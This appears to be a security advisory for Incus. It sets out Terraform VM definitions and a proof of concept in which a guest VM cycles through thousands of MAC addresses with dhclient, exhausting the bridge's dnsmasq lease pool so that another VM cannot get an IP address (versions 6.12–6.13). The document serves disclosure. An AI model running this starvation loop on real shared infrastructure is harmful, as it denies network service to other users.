resource "incusinstance" "machine1" { name = "machine1" image = "images:archlinux/cloud" type = "virtual-machine" config = { "limits.memory" = "2GiB" "security.secureboot" = false "boot.autostart" = false "cloud-init.vendor-data" = <<-EOF #cloud-config packageupdate: true packages: - dhclient - tcpdump runcmd: - systemctl disable --now systemd.networkd.service - systemctl disable --now systemd.networkd.socket EOF } device { type = "disk" name = "root" properties = { pool = "default" path = "/" size = "64GiB" } } device { type = "nic" name = "eth0" properties = { network = incusnetwork.br0.name "security.ipv4filtering" = true "security.acls" = join(",", [ incusnetworkacl.aclallowout.name, incusnetworkacl.aclallowin.name, ]) } } }
resource "incusinstance" "machine2" { name = "machine2" image = "images:archlinux/cloud" type = "virtual-machine" config = { "limits.memory" = "2GiB" "security.secureboot" = false "boot.autostart" = false } device { type = "disk" name = "root" properties = { pool = "default" path = "/" size = "64GiB" } } device { type = "nic" name = "eth0" properties = { network = incusnetwork.br0.name } } }
An attacker in a VM requests many IP addresses and exhaust the pool:
bash [MACHINE1]$ for i in {0..99}; do for j in {0..99}; do ip link set address 10:66:6a:42:${i}:${j} dev enp5s0 ; dhclient -4 -i --no-pid ; done ; done
[HOST]$ cat /var/lib/incus/networks/br0/dnsmasq.leases |wc -l 254
[HOST]$ incus start machine2
At this point, machine2 will not receive a lease from dnsmasq until another lease expires. If machine1 renews their malicious leases, machine2 will never get a lease.
Impact
All versions since a7c33301738aede3c035063e973b1d885d9bac7c, so basically v6.12 and v6.13.